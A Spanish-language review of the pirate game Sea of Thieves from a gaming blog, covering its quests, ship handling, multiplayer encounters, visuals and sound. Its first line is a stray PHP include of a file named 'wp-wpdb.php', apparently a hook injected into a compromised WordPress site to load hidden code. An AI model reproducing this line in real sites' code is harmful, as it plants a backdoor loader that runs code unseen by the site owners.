if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Sea of Thieves – La Fortaleza de LeChuck

Análisis Sea of Thieves

Después de unas 50 horas de juego (más otras 30 o así a la beta) analizamos Sea of Thieves, la esperada vuelta de Rare a los videojuegos con la gran idea de jugar a ser piratas, y como entenderás, en «La Fortaleza de LeChuck» no hemos podido cogerlo con más ganas.

La idea principal de Sea of Thieves es la siguiente: convertirte en un pirata legendario, el pirata más temido de los mares. Para ello jugarás en un gigantesco mar online repleto de islas en las que encontraremos decenas de tesoros, misterios ocultos y, por supuesto, otros piratas. Lo primero que haremos es escoger nuestro avatar, el personaje que será nuestro alter-ego en el juego, entre un buen puñado de diseños predefinidos. Cuando tengamos lo más parecido a la imagen que queramos dar en el juego, comienza la búsqueda. Una pequeña introducción te enseña las bases del juego, presta atención porque esto es lo más parecido a un tutorial que vas a ver (aunque tranquilo, sale siempre que cargas partida).

Ya está, ya nos han «liberado», somos un pirata con ganas de triunfar, y en primera persona, comenzaremos en la taberna, como si ayer noche el grog hubiera acabado contigo hasta perder memoria y razón. Tienes tu sencillo barco aparcado ahí fuera, y según la opción que hayas escogido, estarás solo o acompañado. Comenzar en solitario puede hacerse muy duro, porque siempre está bien que alguien te enseñe a disfrutar del título. Si juegas en compañía, sea en un barco pequeño para dos personas, o en un galeón de tres velas para cuatro jugadores, la cosa cambia mucho. Haz caso al resto de tripulantes, seguro que alguno ha tomado el liderato y guía a los demás en esta aventura.

En Sea of Thieves tenemos tres objetivos principales, ser el mejor en la búsqueda de tesoros, en el arte de comerciar y en la lucha contra antiguos piratas convertidos en temidos esqueletos (casi casi como si fueran LAS TRES PRUEBAS de nuestro querido Monkey Island, al que veremos más de un homenaje directo e indirecto). Para comenzar en cada una de estas carreras pirata, tendremos que ir adquiriendo unos contratos en cualquiera de las puestas de avanzada, las únicas islas en las que encontraremos personajes controlados por el juego.

La búsqueda de tesoros nos dará pistas de una isla donde hay un tesoro escondido, sea con el mapa exacto de esa isla con una «X» roja marcada (pero sin decirnos el nombre de la isla), o a través de ingeniosos acertijos (que nos dicen primeramente el nombre de la isla a la que debemos ir). Tanto una cosa como la otra, deberemos compararla en primera instancia con nuestro gran mapa de Sea of Thieves, un mapa que tenemos en nuestro barco en el que buscaremos nuestros objetivos.

El arte de comerciar es algo diferente. En este caso, harás de «Deliveroo» o «Glovo» en el mar. Al solicitar la misión, recibirás el objetivo de capturar una serie de animales o encontrar mercancías, y entregarlas en una puesto de avanzada concreto antes de un día y hora establecidos. Para capturar animales, como cerdos, pollos o serpientes, necesitarás una jaula que ellos mismos te entregarán de forma gratuita.

Por último, en la lucha contra antiguos piratas, nos encomendarán acabar con una serie de piratas exqueletos con un boss final, al más puro estilo «Wanted», diciéndote en qué isla están actuando. Una especie de mini-horda de enemigos, cada vez más difícil.

¿Hay algo más que hacer en el juego? Por supuesto, tienes eventos aleatorios como encontrarse con una fortaleza activa (bajo una gran calavera en el cielo) con premios muy suculentos. Sí, una isla fortificada y armada con cañones hasta los dientes donde numerosos esqueletos nos dispararán a nosotros y a nuestro barco, además de la más que probable compañía de una o más tripulaciones luchando por el mismo tesoro y deseando quitarte de en medio. También están los barcos hundidos, donde normalmente encontramos tesoros de cualquier tipo. Los mensajes en botella, con contratos únicos. El Kraken, un evento tremendo en el que un buen número de tentáculos atacarán a todo navío que pase cerca, con jugosos premios para el que pueda derrotarlo.

En todos los casos, no adquiriremos mayor fama y riquezas si no vendemos esos tesoros en las puestas de avanzada, así que tan importante será conseguir tales hazañas, como alcanzar estas islas a vender todo lo recolectado. Al venderlo conseguiremos oro y experiencia. El oro solo sirve para una cosa, comprar mejoras estéticas para tu personaje y tu barco. ¿Quieres ser siempre un pirata zarzapastroso o quiere lucir una lustrosa pata de palo último modelo? Gasta tu oro en las tiendas para mejorar tu apariencia, y que tu aspecto lo diga todo sobre tu experiencia cuando un enemigo aceche. Lo mismo pasa con el barco, podremos «tunear» tanto las velas como el mascarón del barco, por lo que podemos hacer que nuestro pirata sea recordado haciéndolo único en su parecer.

Al vender los premios también conseguiremos experiencia en cada una de las tres carreras principales, subiendo niveles hasta un máximo de 50. Cada cinco niveles podremos comprar contratos de mayor calidad, más difíciles pero también con un mayor premio. También hay diseños únicos que conseguiremos si conseguimos ciertos logros dentro de cada objetivo, como por ejemplo atacar el barco de piratas de cierto nivel y hacerte con sus tesoros.

La jugabilidad te mete de lleno en el mundo pirata, el juego carece de una interfaz al uso por lo que la inmersión es total. ¿Quieres mirar a que dirección vamos? Saca la brújula y mírala. Sí, tienes todo un inventario con herramientas de mar, como un catalejo, un reloj, una pala, una linterna, y así hasta una jarra para llenar de grog. También contamos con instrumentos musicales, geniales para amenizar el viaje y subir la moral de tu tripulación (es decir, de los jugadores tras su avatar, porque utilidad, en realidad poquita, pero ¿qué más da?). Para los momentos de acción, espada, pistola, trabuco o fusil. Desde el principio, a tu disposición en tu armería. El combate es simple y directo, a veces un poco alocado, pero funciona, una vez más para jugarlo todo a una carta: tu propia habilidad.

En el barco, tripular es una gozada, en barco pequeño tu timón gira rapídisimo, en un galeón notarás el tamaño de la embarcación en todo momento. Izar velas, ponerlas en dirección al viento para alcanzar la máxima velocidad posible o en contra y así frenar y girar rápidamente. Echar el ancla a toda velocidad mientras giras y derrapar para dar una vuelta de 180 grados. Una simplicidad tremenda, y a la vez, con un nivel de simulación reconfortante. Todo diseñado para recorrer unos salvajes mares con unas físicas tremendas, oleaje de mayor o menor grado, tormentas que harán pasarlo mal a todo marinero, choques contra rocas o otros navíos que te harán sentir la vida en el mar. El barco es el centro y donde pasarás más tiempo, así que cuídalo, repara los agujeros cuando hayas sufrido algún percance y achica el agua todo lo rápido que puedas, o se hundirá (te darán otro, pero perderás los tesoros que portabas).

Pero ojo, nada de esto, de lo que llevo contándote hasta ahora, es lo principal. Este juego, sin jugadores online, no sería nada, quizás sería un juego repetitivo y absurdo. La gracia del asunto es el componente multijugador, sin lugar a dudas, porque en la aleatoriedad de un mar online está la sustancia.

Sea of Thieves es ir a buscar un tesoro, y encontrarse otro barco estacionado en la isla objetivo, pensar si ir a por otra cosa, pasar de ellos y esperar que ellos hagan lo mismo, o luchar por finalizar tu misión. Es ir en un barco, solo pero lleno de premios para venderlos en la puesta de avanzada, y tener la mala suerte de darte de bruces con un gran galeón que mira el mapa, mira la brújula, y confirma que te diriges a vender los tesoros conseguidos en tu última misión. Es decidir atacarlos de forma directa con toda probabilidad de perderlo todo o saber utilizar la mayor agilidad de tu pequeño barco para escapar y tener otro motivo de celebración. Es ser un pirata honrado, permitiendo vender sus tesoros a un barco en inferior número cerca del puesto de avanzada, o aniquilar a toda su tripulación y hacer esas riquezas tuyas. Es colarte de polizón en la campana del mástil de otros jugadores y llevarte sus tesoros cuando no miran, esconderlos en las hierbas de una isla, y volver más tarde con tu barco para obtener recompensa. Es eso y mucho más, puro multijugador con grandes posibilidades que detestarás si eres una persona solitaria.

En cuanto al apartado visual, Sea of Thieves es excelente. El uso de Unreal Engine 4 y sobretodo, la optimización para funcionar notablemente en Xbox One, denota el gran trabajo realizado por parte de Rare (solo tenéis que comparar con PUBG o ARK, otros juegos multijugador que usan este motor). Pese al estilo cartoon utilizado en el juego (el mundo pirata no era tan divertido en realidad, mejor tomárselo con humor) el apartado artístico brilla y pega con el aire que le han dado al título. Quizás los modelados no permiten sorprender por el estilo utilizado, sin embargo la luz, las nubes y el mar… están a otro nivel. Verás el sol en todas sus facetas, tardes rojizas, días claros o repletos de nubarrones que no dejan pasar la luz en ningún momento. Todo de una forma de lo más realista y cambiando constantemente en tiempo real. Las nubes, se generan aleatoriamente, y las verás moverse y formar tormentas o desvanecerse en cualquier momento. El mar (¡qué decir del mar!) es la más realista que han visto mis ojos en un videojuego, y no, no es solamente como se ve, es como se mueve y como afecta físicamente a tu barco o a tu cuerpo si has caído en sus corrientes. Las olas pueden ser tan grandes que no te dejan ver el horizonte o calmarse para convertir tu travesía en un viaje turístico. Todo ello conjunta estupendamente y te da las mejores sensaciones en tu «pirate’s simulator».

Si hablamos del sonido del juego, es otro de los apartados tratados con mayor mimo. Escucharás perfectamente donde ha crujido tu barco, de done vienen los cañonazos que oímos en la lejanía, la música de nuestros instrumentos que mejorarán orquestalmente si nuestros compañeros nos acompañan, o como se ondula el sonido bajo el agua. Sí, los efectos de sonido son una auténtica pasada. También lo es la música, ambiental en algunos momentos, pequeños acordes señalando cosas en otros, o potentes si la ocasión lo merece. Una vez más, enlaza perfectamente tu experiencia al mundo pirata.

En conclusión, si te gusta jugar a juegos multijugador con amigos, Sea of Thieves es diferente, no es un shooter más, un MOBA o un MMORPG, es vivir el mundo pirata, creértelo y gozarlo en todas sus facetas. Si analizas fríamente el juego, quizás te da la sensación de que es simple y escaso en contenido y al final todo queda en manos de tu imaginación y la de tus acompañantes, pero como digo, siendo un viciado de juegos online sin objetivos (ya sabéis mi amor por juegos como DayZ), es una experiencia distinta que merece ser probada unas buenas horas para darse cuenta de su carisma. Es decisión tuya dejarse llevar o no, eso sí, jugar solo puede chafarte todas las ilusiones y quemarte las ganas, los piratas nunca fueron solos. Puedes ver los mejores precios para comprar Sea of Thieves barato en OfertasJuegos.com.

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Por Museboy

Como la mayoría de vosotros, crecí jugando a videojuegos y ahora intento transmitir toda la pasión por este mundo en La Fortaleza de LeChuck. También busco ofertas de videojuegos. Seguidme en Twitter y sabréis de qué hablo.

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